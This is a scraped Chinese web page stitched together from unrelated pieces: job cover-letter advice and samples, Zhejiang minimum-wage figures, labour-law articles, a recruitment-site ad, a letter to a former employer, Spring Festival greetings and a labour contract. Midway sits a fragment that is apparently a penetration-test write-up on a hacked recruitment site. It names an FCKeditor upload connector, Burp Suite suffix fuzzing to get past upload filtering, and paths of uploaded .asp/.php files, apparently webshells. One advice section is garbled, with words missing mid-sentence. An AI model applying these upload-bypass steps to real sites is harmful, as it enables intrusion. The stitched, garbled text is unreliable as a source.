日子在弹指一挥间就毫无声息的流逝,在这份工作结束后我们又要开始求职寻找新工作了。要想找到一份好工作一封优秀的求职信是必不可少的,求职信能够提高用人单位录取自己的概率。您没接触过求职信,不知道怎么写好一封求职信吗?下面是由小编为大家整理的“如何写一份体现个人才智的求职信”,欢迎大家阅读,希望对大家有所帮助。
求职信可以展现出您的长处,能增加获得面试的机会。只有能体现个人聪明才智的求职信,才能帮助你顺利地谋求到一份理想的工作。
写作思路求职信也是交际的一种形式,它可以反映出一个人的专业水平,从用人单位的角度出发考虑问题是使求职信产生积极效果的重要方法。求职者应该采取换位思考的方法,通过分析用人单位提出的要求,了解他们的需要,然后有针对性地向他们提供自己的背景资料,表现出自己独到的智慧与才干,使他们从你的身上看到希望,并做出对你有利的决定。
写作原则根据求职的目的来布局谋篇,把重要的内容放在篇首,对相同或相似的内容进行归类组合,段与段之间按逻辑顺序衔接,从阅信人的角度出发组织内容。信件要具个人特色、亲切且能体现出专业水平,意思表达要直接、简洁,书写要清晰、简单明了,内容、语气、用词的选择和对希望的表达要积极,充分显示出你是一个乐观、有责任心和有创造力的人。
求职信的诸多不宜不宜太长,一封求职信不能多于一页。不宜有文字上的错讹,切忌有错字、别字、病句及文理欠通顺的现象发生。不宜是履历的翻版,应与履历分开,自成一体。
写求职信要坚持实事求是的原则,用成就和事实代替华而不实的修饰语,恰如其分地介绍自己。要突出重点,针对某一单位的某一职位而求职,效果会更好。文字要顺畅,字迹要工整,求职信是用人单位对求职人的一次非正式的考核,用人单位可以通过信件了解求职者的语言修辞和文字表达能力,可以说求职信是用人单位对求职者取得第一印象的凭证。
求职信正确的写法第一部分写明你要申请的职位和你是如何得知该职位的招聘信息的。第二部分说明你如何满足公司的要求,陈述个人技能和个性特征。第三部分表明你希望迅速得到回音,并标明与你联系的最佳方式。第四部分感谢对方阅读并考虑你的应聘。每封求职信应以针对适合雇主而精心设计,以此表明你明白该公司的需要。求职信还应包括与你所取得的成果及解决的问题的事例,这些事例与你所申请的工作类型相关。求职信应是寄给有职位的某一特定的人,使用高档纸书写,仔细校对,避免打字或语法方面的错误,要自存副本档案。
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随着日子一页一页地翻着,我们很快就要面临求职找工作的生活了。此时写一封优秀的求职信是非常重要的,千万不要以外写一封优秀的求职信是很容易的哦。怎么才能写出一篇适合自己又优秀的求职信呢?请您阅读小编辑为您编辑整理的《如何写一份好的英文求职信》,但愿对您的学习工作带来帮助。
不用赘言,大家都知道,写求职信的最后目的在获得职位,不过,现在的公司老板很少是看信不看人雇用求职的人。一封求职信无论如何文辞并茂,令人心动,公司人事主管非见到这个人的外表是不会给予工作机会的。因此,求职信的目的在于获得面谈的机会。
写求职信的要点
公司的老板大多认为,注重小节的人对重大的事务也会谨慎行事。一个人做人做事是否谨慎可以从一封求职信中看出端倪来。你别看轻了短短的一封信,一封求职信可以显露出一个人的嗜好、鉴别力、教育程度以及人格特性。下列几个要点便是泄露一个人机密的地方。因此,写信人非格外留意不可。
1、纸张的选用:最好使用品质优良,白色的信纸。信封要配合信纸的质料和颜色。
2、书写:求职者常需用亲手写信,字体要写得清洁可辩,龙飞凤舞的字迹无疑是自寻绝路。如果可能的话,使用打字机把信打出来。这样看起来比较具有商业气息。
3、格式:信文要适当地排列在信纸中,格式要一致,如采用齐头式(或斜线式)便需全部一致,不可中途改变
4、语法、标点和拼写:正确无误的语法、标点和拼写使读信人感到舒畅,错误的语法或拼写则十分明显,一望即知,予人坏印象。尤其要注意的是,绝不可把收信人的姓名或公司名号拼错了。
5、信封:信封上面的地址要完整,称谓要合时宜,信纸的折叠要适当,大小适合信封。
6、求职信函通常不须附加推荐信,除非招聘广告有此要求。遇到这种情形,只须附上复印件即可。求职函内附加邮票或回址信封,强迫对方答覆的作法不足效法,除非对方有此要求。
信函的内容
求职信函内容应包括那些?通常根据所欲谋求的工作性质而定。基本上,可以包括下列几项:
1、写这封信的目的或动机:通常求职信都是针对报纸上招聘广告而写的。若此,信中便须提到何月何日的报纸,有时工作机会是从朋友或介绍所(如青辅会就业辅导中心)听来的,有时是写信人不知某机构、公司有工作机会,毛遂自荐而写的信,不论是哪一种,求职信上一定要说明写信的缘起和目的。
2、个人资料:写信人应述明自己的年龄或出生年月,教育背景,尤其是和应征的职位有关的训练或教育科目、工作经验或特殊的技能;如无实际经验,略述在学类似经验亦可。
3、备询人员或推荐人:正常的顺序是先获得这些人同意后再把他们的姓名、地址列入信中,推荐人二至三名即可。
4、结尾:求职信的结尾在希望并请求未来的雇主允以面谈的机会,因此,信中要表明可以面谈的时间。使用的句子要有特性、避免软弱、老生常谈的滥调。
机智和良好的判断
写求职信要有机智和良好的判断,下列几点可供参考。
1、陈述事实,避免表示意见:与训练和经验有关的事实可以陈述出来,但应避免表示意见说这些训练和经验对所应征的工作将有怎样的关系或好处。
2、不要批评他人:如果你要离开现职,可以说出原因但不要用批评的方式,雇主想要了解你,而非你的工作机会。
3、不要过份渲染自我:你当然认为有能力,够资格才要申请某一职位,但不要过份夸大自己的能力或表现过份信心,尤其不要说出与事实不符的能力或特性来。
4、留意底薪:有的雇主要你提到希望的待遇。你要作良好的判断,写出你觉得可行的最低薪。开始就业的人应知道,与其寻得一份高薪的工作倒不如找待遇尚可而有升迁机会的工作。
求职信英文
应征函的第一段说明写信的缘起目的,有些专家认为不宜用分词子句,如下列各句作为第一句。因为这类句子被人用得大多,显得陈腐,失去突出的特性。
replying to your advertisement answering your advertisement believing that there is an opportunity thinking that there is a vacancy in your company having read your ad
再比较下列三句。(a)句较差,经过修改后(b)句显得较恰当。
1、(a)replying to your recent advertisement in the boston evening globe, i wish to apply for the position of sales manager
(b)in applying for the position of sales manager i offer my qualifications, which i believe will meet your exacting requirements.
2、(a)i believe after reading your advertisement in this mornings journal that you have just the opportunity i am looking for. (b)your advertisement in this mornings journal for an adjustment manager prompts me to offer you my qualifications for this position
3、(a) having read your advertisement in the new york times for an accountant, i thought you might be interested in my application.
(b)in your advertisement for an accountant, you indicated that you require the services of a competent person, with thorough training in the field of cost accounting. please consider me an applicant for the position. here are my reasons for believing i am qualified for this work.
求职的人不得不提到希望待遇时,可用类似的句子:
1、 hesitate to state a definite salary, but, as long as you have requested me to , i should consider 6,500 a month satisfactory. 我对待遇总是迟迟无法定个确切数目,但既然您要我说明,我认为月薪六千五百元就满意了。
2、although it is difficult for me to say what compensation i should deserve, i should consider-a month a fair initial salary. 虽然我很难说待遇应该是多少,我以为起薪每月--很合理。
3、i feel it is presumptuous of me to state what my salary should be. my first consideration is to satisfy you completely. however, while i am serving my apprenticeship, i should consider-a month satisfactory compensation. 余不敢冒昧说出起薪多少。最初余仅想要如何工作得好,使您满意。在学徒(试用)期间,月薪--即可。
提到待遇时不要过分谦虚或表示歉意,下列句子不宜使用。
1、as for salary, i do not know what to say. would$4,500 a month be too much? 至于起薪,我不知怎么说,月薪四千五百元会不会太多?
2、do you think i should be asking too much if i said 5000 dollars a month? 若要求月薪五千元,会不会太高?
3、you know what my services are worth better than i do . all i want is a living wage. 对敝人工作的价值您比我更清楚。我仅想够糊口即可。
应征函或自荐函的结尾用语,试比较下列各句:
1、(a)软弱、羞怯的: if you think i can fill the position after you have read my letter, i shall be glad to talk with you. 读完此信后倘您认为敝人可补缺,敝人愿和您一谈。
(b)改写后(较佳): if my application has convinced you of my ability to satisfy you, i should welcome the opportunity to talk with you, so that you may judge my personal qualifications further.
2、(a)怀疑,不妥、不安全的: if youre interested, let me know immediately, as im sure and interview will convince you im the man for the job. 倘贵公司有兴趣,请即告知,敝人深信与您面谈可以使您相信,敝人适合担任此职。
(b)改写后: may i have an interview? you can reach me by telephone at taipei 884525 between the hours of 7-9 a.m. and 5:30-9:30p.m. any evening. 可否赐予面谈?您可在每天上午七至九时,下午五时半至九时电884525号。
3、陈腐的句子: hoping you will give me an interview, i am(我希望您惠予面谈) anticipating a favorable decision, i wait your(等候您的佳音) trusting your reply will be satisfactory, i remain(静候满意的答复)
4、哀求式的句子,不够完整(漏掉面谈时间): wont you please give me the chance to interview your? i can be reached by calling kenmore 69781. 恳请惠予面谈。请打电话k-69781
(b)改写后: may i have the opportunity to discuss this matter further with you? my telephone is kenmore 69781. you can reach me between nine and five oclock during the day. 可否惠予面谈以便进一步商讨?我的电话是k-69781。我从上午九时到下午五时都可接通。
5、太过自信的句子: i am quite certain that an interview will substantiate my statements between two and four every afternoon except tuesday you can reach me by telephoning 731430. 我深信面谈可以证实我的话。您可在每天下午二至四时(星期二例外)打731430号电话通知我。
6、较具体有效的句子。 may i have an interview? my residence telephone is (042) 4398. you reach me by calling that number until june 30. after july 2, my address will be kent house, bretton woods, new hampshire. 可否惠予面谈?我住处电话为43981号。六月三十日以前我都在上址,七月二日以后,我的新址为新罕不夏州布列登林肯特屋。
应征函的语气
应征函要发挥最大的效果,语气必须肯定、自信、有创意而不过份夸张,如能事先洞察雇主的喜好,或其他人格特性,根据物以类聚的原理,应征函若能配合雇主的特性,求职的人一定可以比其他人占上风,获得面谈的机会。 比较下列各句语气上有何不同:
1、i think that i should probably make a good bookkeeper for you. 我想我可能成为贵公司的好簿记号。
2、i am confident that my experience and references will show you that i can fulfill the particular requirements of your bookkeeping position. 我想信我的经验和推荐人可以告诉您,我能够符合贵公司簿记员一职的特定需要。
3、i recently completed a course in filing at the crosby school of business. i am competent not only to install a filing system that will fulfill the needs of your organization, but i am also well qualified to operate it efficiently. 最近我在克洛斯比商业补习班读完一门档案处理的课程,我自信不仅可以设置一套档案人类系统符合您的要求,而且可以有效地操作。
4、i feel quite certain that as a result of the course in filing which i completed at the crosby school of business, i can install and operate efficiently a filing system for your organization. 我相信在克洛斯比商业实习班修完一门课后,我能够替贵公司设置并且操作一套档案分类系统。
第一句显得语气太弱,写信的人有点羞怯的样子。第二句有特殊风格,第三句太过自信,第四句,表示谦虚。
一封称职的求职信,最重要是避免重复履历中的数据。那么该如何写好求职信呢?下面来详细阅读一下吧,希望可以帮到你~ 求职信的一些基本写作要求
我们要保证求本,然后再谈舍末。
求职信一定要写,千万不能偷懒。
好钢用在刀刃上。求职就业的时候的生活状态,用奔波劳碌、焦头烂额来形容也丝毫不嫌夸张。大家往往是愿意努力付出,然而在焦急盲目中不能找到确切的方向,所要做的事情那么多,哪些是关键环节必须严格把关斟酌、哪些是细枝末节可以一笔带过却不清楚。
如果说简历的投递是踏入理想公司大门的话,那求职信无疑就是一个敲门的动作。求职信的目的就是要让简历筛选者从众多纸张中发现自己,觉得自己是一个很适合这个工作的人,至少能让对方考虑给自己面试的机会。
求职信中写什么?首先,我们必须要在求职信中着重突出自己适合应聘职位的优点,例如自己性格非常适合应聘工作,同时也可以讲述些自己以前实习或社团工作中对组织所作的贡献。注意求职信不是投得越多机会越大,把一封写好的求职信反复的贴在每一个求职e-mail中,而只把公司名字改掉,这样做也是很难起到实际效果的。据不完全统计,在整个求职大军中,95%的求职人员只有一封求职信。面对这样一个数字,求职信的针对性,便是自己Outstanding的第一步。
其次,要在求职信中显示出自己对公司的了解、发展近况,以及自己的一些看法,最好可以有针对性地提出一些问题。这样不仅可以让求职信接收人员感觉到自己的专业性,而且对公司的工作也非常感兴趣,开始考虑是否可以面试。再次,向对方传达自己能为公司提供何种帮助的信号,并通过自己的某个例子证实自己确实有这方面的能力。
注意事项A)求职信一定要在邮件的正文写出,不宜用附件形式,公司人员往往都很繁忙,对于附件形式的求职信无形中会降低他们的工作效率,增加工作人员的烦躁感;
B)信件的整体思想积极向上,尽量介绍一些自己以前类似于求职工作的实习经历,并向对方说明可以随时联系自己;
C)邮件内容要简洁明了,忌讳拖沓繁冗;大概300-400字即可。
D)不要在求职信中表达出自己要在这个工作中想获得什么,例如:通过这个工作,我今后可以申请到其他更好的工作;
E)不要将自己的Blog地址留给求职单位;
F)如果对方没有问到,无须向对方介绍自己所在年级。也许对方只要求是毕业生,但是会在了解你之后发现你很适合该公司,便会考虑让你在公司内部先作实习;若是自己在求职信中挑明还没有毕业,那么无异于将自己的前途的更多可能扼杀掉。
求职信范文尊敬的领导:
您好!我是xxxx大学的一名应届本科毕业生,所读专业是XXXX,从网上获知贵公司正在招纳贤才,我希望能成为贵公司的一员。
我了解到贵公司是一家很有实力的公司,公司业绩蒸蒸日上。这正是我想加入的团体。我相信公司能够给我提供一个广阔的舞台,让像我一样的大学生得以自由发挥自己的能力,与公司共同进步。大学四年的教育,使我懂得认真,敬业,勤奋乃是职业生涯的第一要义。怀着对未来事业的信念和信心,我愿兢兢业业,踏踏实实,在工作中学习,在工作中提升,在工作中作贡献。随信附有我的个人资料,如有机会与您面谈,我将十分感谢。
此致
敬礼
XXX
2020年XX月XX日
时间过得很快,在这份工作结束后我们又要开始求职寻找新工作了。此时需要写一封具有个人特色的求职信了,求职信能够提高用人单位录取自己的概率。您没接触过求职信,不知道怎么写好一封求职信吗?急您所急,小编为朋友们了收集和编辑了“如何写好个人求职信?”,供您参考,希望能够帮助到大家。
在找工作时,许多求职者只注重个人求职简历,而忽略了求职信。其实,一封准备充分的求职信,可以大大提高你的求职成功率。那么,如何写好个人求职信呢?
一封完整的求职信写作规则有以下四个:
a:开头
开头一定要开门见山的写明你对公司有兴趣并想担任他们空缺的职位,以及你是如何得知该职位的招聘信息的。
例如: 获知贵公司****年**月**日在******上招聘******的信息后,我寄上简历敬请斟酌。这是正规求职信格式,大家一定要注意。
b:推销自己
信的第二部分要简短地叙述自己所学的专业以及才能,特别是这些才能将满足公司的需要。没有必要具体陈述,详细内容引导对方查看你的个人求职简历。此外,推销时要适度,不能夸大其词。
c:联系方式
写清楚在求职信中给出你电话预约面试的可能时间范围,或表明你希望迅速得到回音,并标明与你联系的最佳方式。
d:收尾
感谢他们阅读并考虑你的应聘。
另外还有几点是一定要注意的:
a:首先求职信的篇幅不要太长,简明扼要就可以了。
b:其次不要粘贴或附带太多支持文件,诸如证书、奖状等复印件,除非是招聘单位在招聘广告中特别申明要求的,否则寄了厚厚一大叠材料,成本代价不菲,收效可能甚微。
c:最后,态度要诚恳,不需要任何豪言壮语,也不用使用任何华丽的词汇,只要让对方读来觉得亲切、自然、实实在在就可以了。
从以上几方面可以看出,写一封成功的求职信并不难,只要掌握求职信撰写技巧就可以了。你做好准备了吗?
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求职信可以展现出您的长处,能面试的机会。能体现个人聪明才智的求职信,才能帮助你地谋求到一份理想的工作。
写作思路 求职信交际的,它可以反映出人的专业,从用人的角度考虑问题是使求职信产生的方法。求职者应该换位思考的方法,分析用人的要求,的需要,然后有性地向的背景资料,出独到的智慧与才干,使从你的身上看到希望,并对你有利的决定。
写作原则 求职的目的来布局谋篇,把的内容篇首,对相同或相似的内容归类组合,段与段之间按逻辑顺序衔接,从阅信人的角度组织内容。信件要具个人、亲切且能体现出专业,意思表达要直接、简洁,书写要清晰、简单明了,内容、语气、用词的选择和对希望的表达要,显示出你是乐观、有责任心和有力的人。
求职信的诸多不宜 不宜太长,一封求职信多于一页。不宜有文字上的错讹,切忌有错字、别字、病句及文理欠通顺的。不宜是履历的翻版,应与履历分开,自成一体。
写求职信要实事求是的原则,用成就和事实代替华而不实的修饰语,恰如其分地介绍。要,某一的某一职位而求职,会。文字要顺畅,字迹要工整,求职信是用人对求职人的一次非正式的考核,用人可以信件求职者的语言修辞和文字表达能力,可以说求职信是用人对求职者印象的凭证。
求职信的写法 写明你要申请的职位和你是如何得知该职位的招聘信息的。说明你如何公司的要求,陈述个人技能和个性特征。表明你希望迅速回音,并标明与你的。感谢对方阅读并考虑你的应聘。每封求职信应以适合雇主而精心设计,以此表明你明白该公司的需要。求职信还应包括与你所的及解决的问题的事例,事例与你所申请的工作类型。求职信应是寄给有职位的某一特定的人, 使用高档纸书写,仔细校对,打字或语法的错误,要自存副本档案。
从浙江省人社厅了解到,11月起,浙江省一、二、三、四类地区月最低工资标准分别调整为1860元、1660元、1530元和1380元。比上年分别增长12.7%、12.9%、13.3%和13.1%。
二类地区:萧山区、富阳市 、余姚市、慈溪市、奉化市、宁海县、象山县、乐清市、瑞安市、湖州市区、绍兴市区、诸暨市、上虞市、嵊州市、绍兴县、新昌县、金华市区、义乌市、永康市、东阳市、台州市区、临海市、温岭市、玉环县
三类地区:淳安县、临安市、建德市、永嘉县、洞头县、德清县、长兴县、安吉县、兰溪市、浦江县、武义县、舟山市市区、岱山县、嵊泗县、天台县、仙居县、三门县、衢州市、江山市、龙游县、常山县、开化县、丽水市区、青田县、缙云县。
四类地区:平阳县、苍南县、文成县、泰顺县、磐安县、龙泉市、云和县、景宁县、松阳县、遂昌县、庆元县、嘉兴市区、海宁市、平湖市、桐乡市、嘉善县、海盐县
(二)用人单位被依法宣告破产、被吊销、注销营业执照或者歇业;
(三)劳动者退休或者退职;
(四)劳动者死亡、宣告死亡或者宣告失踪;
(五)出现其他法定的终止条件。
第二十八条 劳动合同期满或者当事人约定的劳动合同终止条件出现时,有下列情形之一的,劳动合同应当续延至下列情形终结时为止:
(一)劳动者患病或负伤在规定的医疗期内的;
(二)女职工在孕期、产期、哺乳期内的;
(三)工会主席、副主席和委员任期未满的;
(四)法律、法规规定的.其他情形。
但用人单位被依法宣告破产、被吊销、注销营业执照或者歇业的情形除外。
第二十九条 经当事人协商一致,劳动合同可以解除。
第三十条 劳动者有下列情形之一的,用人单位可以随时解除劳动合同:
(一)在试用期间被证明不符合录用条件的;
(二)严重违反劳动纪律或者用人单位依法制定的规章制度;
(三)严重失职、营私舞弊,对用人单位利益造成重大损害的;
(四)被依法追究刑事责任的。
第三十一条 有下列情形之一的,用人单位可以解除劳动合同,但应当提前三十日以书面形式通知劳动者本人:
(一)劳动者患病或者非因工负伤,医疗期满后,不能从事原工作也不能从事由用人单位另行安排的工作的;
(二)劳动者不能胜任劳动合同约定的工作,经过培训或者调整工作岗位,仍不能胜任工作的;
(三)劳动合同订立时所依据的客观情况发生重大变化,致使原劳动合同无法履行,经当事人协商不能就变更劳动合同达成协议的。
前款第(三)项所指的客观情况发生重大变化,是指遇不可抗力或者用人单位跨地区迁移、兼并、分立、合资、转(改)制、转产、进行重大技术改造等致使劳动合同所确定的生产、工作岗位消失。
用人单位单方面解除劳动合同时,应当事先将理由通知工会,工会认为企业违反法律、法规和有关合同,要求重新研究处理的,用人单位应当研究工会的意见,并将处理结果书面通知工会。
第三十二条 用人单位濒临破产进行法定整顿期间或者用人单位生产经营状况发生严重困难,确
尊敬的领导:
您好!
非常感谢您在百忙之中审阅我的求职信,谢谢!我叫×××,是×××大学××级汉语言文学专业的一名即将毕业的学生。经过数载的潜修、漫长的苦练,我终于将以一名合格的大学专科毕业生的身份站在时代的阵前,接受着您的挑选,并时刻准备着将自己的所学奉献给您我共同的事业。
我不敢自诩自己是个人才,但我相信我的拼搏精神和进取精神。在大学三年的求学征途中,我学习认真、刻苦钻研取得良好成绩。通过母校的培养和自身的努力,我不仅具备了中文专业所要求的听、说、读、写等基本能力,而且具备了师范专业所要求的基本素质,懂得运用心理学、教育学的基本原理开展班主任教学活动;在学好专业知识的同时,我还充分地利用课余时间学了微机课程,并且还相应取得了计算机应用基础(word、excel、powerpoint)证书。同时,社会激烈的竞争使我深知全面发展的重要性,本着向复合型人才发展的原则,我广泛阅读了各种有益书籍,知识结构日趋完善。同时,丰富多彩的社会生活和井然有序而又竞争激烈的学习气氛,使我各方面得到不同程度的锻炼和考验。大量的社会实践使我的能力得到了很高的提高,也增强了吃苦耐劳的品质,培养了我的良好的心理素质和高度的责任感,树立了我忠职守纪的工作观念。“一份耕耘一份收获”一直是我执着的观念。
或许,我不是你的人选,但是,我会不断的找出自己的差距,并自我完善。如果您能给我一次机会,我将更加严格要求自己,以全新的面貌迎接灿烂的明天。我恭候您的佳音!
此致
敬礼!
自荐人:×××
×年×月×日
敬爱的领导:
您好!我叫xx,非常感谢您在百忙之中审阅这份求职材料。谢谢!
抱着奉献于工作的极大热诚,同时也为了使自己在人才济济的竞争中获得一份宝贵的机会,特地递上我的自荐,真心的希望能得到您赏识。
我是xx大学20xx年应届毕业生,所学专业是汽车检测与维修。在大学的专业学习中,我认真学习,刻苦专研,取得了良好的成绩,每个学期均获得校级奖学金。现在xx大学考取第二学历,经济法专业。
从大学期间的实习到毕业后的工作,我有两年在汽车4s店售后工作的实践和经验。在此期间,我接触过一汽大众、广州本田、天津一汽、一汽解放轻卡等品牌车型。也做过机修员工、钣喷完检员、售后服务顾问、人力资源专员等职务。在职期间,能够很好的完成本职工作,听从领导安排,保质保量完成工作,先后三次组织、参与服务站开展的全车检查活动。
我不敢自诩自己是一个天才,但我相信塌实肯干好学上进的我能够胜任适合的工作。在竞争日益激烈的现今社会,我对我自己很有信心,只要能给我个机会,我会全力以赴运用我所有的能力完成我的工作,并在其中不断的积累经验、充实自己,我立志成为一名新世纪复合型人才。
正是感到社会竞争的压力,所以现正在进修企业人力资源管理师专业,有信心通过即将开始的国家资格认证。
虽然现实社会竞争激烈,但我依然信心百倍,因为孜孜不倦的求学历程让我具备新时代大学生的良好素质和适应社会竞争的综合能力,瞬息万变的社会环境给我尽情施展才能提供广阔的舞台。
大浪淘沙,搏为本,我将以八分的学识、十分的信心、十二分的勤奋去努力工作。
如您能够给我一段时间,一份信任,一个机会发挥我的潜力,我将全力以赴。有充分的信心担当起每一份责任!
此致
敬礼!
xxxx
xxxx年xx月xx日
南方人才网是区域性人才市场,是中国南方人才市场旗下的.人力资源网站,经营业务包括网络招聘、报纸招聘、猎头、人才培训、人事代理、人才租赁、薪酬调查、HR经理人俱乐部等。
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LOGO优势对比招聘方式/条件功效 报纸媒体(以某报纸为例) 现场招聘会(以广州地区招聘会为例) 南方人才网网络招聘 费用比较: 按版面大小计算费用,少则上千元、多则上万元/每天平均价格800元/两天/展位 4800元/365天600元/30天 信息覆盖范围: 媒体覆盖范围 参加招聘会数千求职者 不受地域限制,覆盖全国有目的针对网络现有60万求职者 有效期: 广告发布当天 招聘会当天 服务期内长期有效 招聘成效: 有效应聘者少一次性信息 适合招聘初、中级人才,效果不确定 各级人才尽可搜索 工作量: 按广告效果应聘者成千上万,阅读简历不方便 上千人才简历,阅读不方便 个性化搜索引擎分门别类、觅才有道
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0x1 前言:实在不知道要写什么文章了,现在的WEB渗透来来去去就那几种手法。所以就拿最近的一个项目写文章好了。
由于XX人才网被黑,所以找我们公司进行渗透测试。被黑了好几次 漏洞都补的差不多了 渗透难度较大
linux+IIS 9.0环境 这里大家应该会奇怪 linux+IIS 环境? 还是IIS9.0 其实很简单的 所谓的IIS9.0 就是apache 修改的
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plus/FCKedit ... nnectors/test.html#
/upfiles/Person//111.asp/40fe81afefd207b403e3c5acd3a0984c.jpg
试用burpsuite的payload尝试各种后缀唯独过滤PHP 。JSP无法执行
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tell/web_idea.ph ... 540e581f720a2a0.php
了
直接下载不过我们可以判断00f3cf0b74840a2b3540e581f720a2a0.php为文件名
/admin/news/news_mng.php
images/gist/0305145927[0].php
就到这吧就写这么多了 累死了
尊敬的公司领导:您好!
我已经在×××上班一段时间了。非常感谢你在我这次求职过程中给予我重新应聘的机会。因招聘网站上的信息没有更新,我所意向的“×××”一职部门早已经停止招聘了。我了解到情况后转向了×××。
×××也是一家电力行业的it企业,她的业务范围和×××有所交叉。×××近几年业务严重萎缩,现正在蓄积力量重振。有趣的是,在业务振荡的过去几年中软的很多工程师都去了×××,而我今天却加入了××。说心里话,在这里难免会产生落差。并非是因为××的福利低于×××(我离开×××后的薪资还是有一定增长的);企业文化才是两个公司的区别,企业文化本是比较虚的东西,但是有了对比和参照后,感觉立即就深刻了。虽然工作环境有不尽人意的地方,但我还是非常珍惜这份工作。创业后我也深深的体会到做老板的不易。我认为每一份工作不管喜不喜欢,既是做了就应该努力做到。
当然,我并不后悔离开康拓普,我为追求一个理想而离开;我也不会介意有人会说,我又回来找*领导要工作。
我已经在承担梦想破灭后的严重后果了。不断的提升能力,不断的积累经验,我发现却是更难的找到工作。it是个年轻人的行业,很多主管的年龄正与我相仿,容纳同龄的下属也需要更多的包容。面对职场,我一下子不知怎么去与同龄人竞争;面向未来,我到四十岁还有十年,还有机会发展自己。
刚从创业的激情中冷清下来,我还没有完全规划好新的职业计划,未来的职业方向会从系统集成项目回到it服务。我在***没有从后勤岗位成功转型到it服务,新的创业公司又在it服务中折戟,对这一行业持续关注和投入,我建立了深厚的行业感情;而且更为高端的it服务,我接触还太少。正因为如此,我看好这个方向,我在这一方向的发展远未到瓶颈。
***在it服务外包上的格局还未打开,此时也没有招聘需求。回来工作可能是一件比较困难的事情。it是个比较小的圈子,不经意间我又到了电力行业的it公司。希望能继续保持与领导和其他同事的联系,并不断的听到×××的好消息。祝身体健康!工作顺利!
春节俗称“年节”,是中华民族最隆重的传统佳节,19辛亥革命以后,开始采用公历计年,遂称公历1月1日为“元旦”,称农历正月初一为“春节”。一起来看看的新春寄语吧!
恰逢新年春节忙,送走猴年迎鸡年,吉祥话要趁早,祝福语提前念。祝愿你新年新气象,快乐依然,幸福绵绵,平安一生,健康到永远!
春节送福:清晨早起精神抖,晚上早睡做美梦,饮食合理防节症,健康为主享万年,春节聚会酒肉多,祝福关心早送到,祝君节制体强健,来年还要为君送。祝:开心健康!快乐平安!如意吉祥!
富贵如云烟,情义却不变。虽然相距远,惦念在心间。光阴似飞箭,沧海变桑田。真情系你我,友谊常浇灌,又至小除夕,新年弹指间,愿你快乐每一天!
抢在新春前头,抢在爆竹前头,抢在欢腾的前头,抢在陶醉的前头,抢在将要到来的铺天盖地的短信前头,为的是您能听清我真挚的祝福!祝兔年春节快乐!
农历春节到,向你问个好,身体倍健康,心情特别好;好运天天交,口味顿顿妙。最后祝您及您的家人:鸡年好运挡不住,鸡年财源滚滚来!
歌声笑声连成片,大人孩子乐翻天,祝福心愿比酒甜,和和美美团圆年,吉庆有余举杯赞,家和万事皆如愿,福寿康宁岁月好,辞旧迎新生活甜。春节愉快。
春节假期回放:时间是亲朋的,眼睛是熬红的,肠胃是酒杯的,大脑是牌局的,奖金是挥霍的,身心是疲惫的,心里是开心的,最终整个人是要交给工作的!
为了提倡环保,节省纸张,在春节千万别送我贺卡,请在尽可能大的人民币上写下祝福的话送我就可以了,节约是美德,祝春节快乐!
一生之中总有一些朋友难忘记,一年之中总有一些节日最珍惜,从春到夏,由陌生到熟悉,虽不能时时想起,却会在特别的日子轻轻问一声:春节快乐!
心到,意到,祝福到;福到,运到,财气到。日子到,时间到,春节即将到,我的新年祝福提前到。如果有人敢比我早到,让他往边靠一靠!
让平安搭上春节的快车道,让快乐与你轻轻拥抱,让困难与你刮目相看,让烦恼低头悄悄走掉,让吉祥对你格外关照,让幸福对你永远微笑!祝春节快乐!
辛辛苦苦又一年,忙忙碌碌为挣钱;你来我往联系少,转眼又到春节了,发条短信情真意切了:愿你薪水多赚,奖金满满;快乐天天,幸福年年!
愿你新的一年里:事业正当午,身体壮如虎,金钱不胜数,干活不辛苦,悠闲像老鼠,浪漫似乐谱,快乐非你莫属!祝鸡年春节快乐!
春节马上到,对联贴门照;烟花绽夜空,欢声显热闹;电话短信来问好,合家欢聚笑一笑;健康围绕财运招,幸福生活常拥抱。新春快乐!
乐被人打包了,煽情被人赶早了,万事如意跟身体健康也不知道被谁拐跑了,可我的祝福还是送到了。春节愉快!
锣鼓喧天鞭炮鸣,举国欢庆迎新年。男女老少穿新衣,欢欢喜喜过大年。春联喜庆耀门庭,灯笼高照幸福临。人寿年丰又一春,生活美满笑颜开。祝春节快乐!
大地回暖春节来,小桥流水百花开。大红灯笼挂起来,笑迎宾客喜迎财。过年红包快拿来,姑娘漂亮小伙帅。烦恼忧愁不再来,福星财神相对拜。新年快乐,恭喜发财!
根据《中华人民共和国劳动法》以及有关法律、法规的规定,甲乙双方在平等自愿、协商一致的基础上,签订本合同。
本合同有效期限自3月23日至3月23日止。 其中,试用期自3月23日至6月23日止。试用期内,如乙方未达到甲方的聘用条件则甲方有权予以辞退,本合同自行解除。
乙方需取得原雇主彻底终止雇用的证明,否则工厂有权重新考虑有关聘用的乙方开始上班的日期。工厂没有责任为乙方原来的工作支付任何赔偿。
1.乙方同意按甲方需要从事 网络维护与办公文员岗位,并按照甲方的合法要求,按时完成规定的工作数量,达到规定的质量标准。
2.甲方可以根据经营需要以及乙方的表现或专长调整乙方的工作内容或工作岗位,乙方应服从调整并尽其最大努力勤奋地履行其职责。
3.乙方应自觉遵守国家的法律、法规和甲方的各项规章制度。
4.乙方应不断学习技术业务和科学文化知识,不断提高工作能力。
1. 甲方应严格执行国家规定的工作时间和休息休假制度。
2. 甲方可以根据经营需要合理要求乙方延长工作时间或在假日期间加班工作,但不得违反国家劳动法律、法规的有关规定,并按国家规定支付加班加点工资。
3. 乙方每日工作时间为8小时,不含吃饭和休息时间。
4. 乙方有权享有我国法定节假日、年假等假期,具体参见甲方的规章制度。
第四条 劳动报酬、社会保险和福利。
1.甲方应在每月10日以货币形式将劳动报酬发放给乙方。
2.试用期内乙方每月税前工资为人民币 ___ 元。试用期结束时如已满足工厂对其岗位的要求,则试用期后乙方每月税前工资为人民币 ___ 元。
3.乙方须自行负担其所得薪酬应缴纳的个人所得税、社会保险、医疗保险、失业保险等个人承担部分及对乙方报酬所征收的任何其他收费或税金。甲方将从乙方薪资中扣除其个人承担的各项费用后代为缴交给有关部门。
4.乙方必须提供合法的手续和相关资料,依法享受国家和省规定的各项社会保险和福利待遇。甲乙双方应按照国家和省有关规定参加社会保险、医疗保险、失业保险等,并及时足额缴纳社会保险费。乙方有权向甲方查询社会保险及福利费的缴纳情况。
5.如果发生本合同第2条第2款的情况,则甲方有权对乙方的税前工资作相应的调整。
1. 甲方有权根据国家法律、有关劳动人事的劳动法规制定相应的规章制度。
2. 乙方必须遵守符合国家规定的各项工厂规章制度。
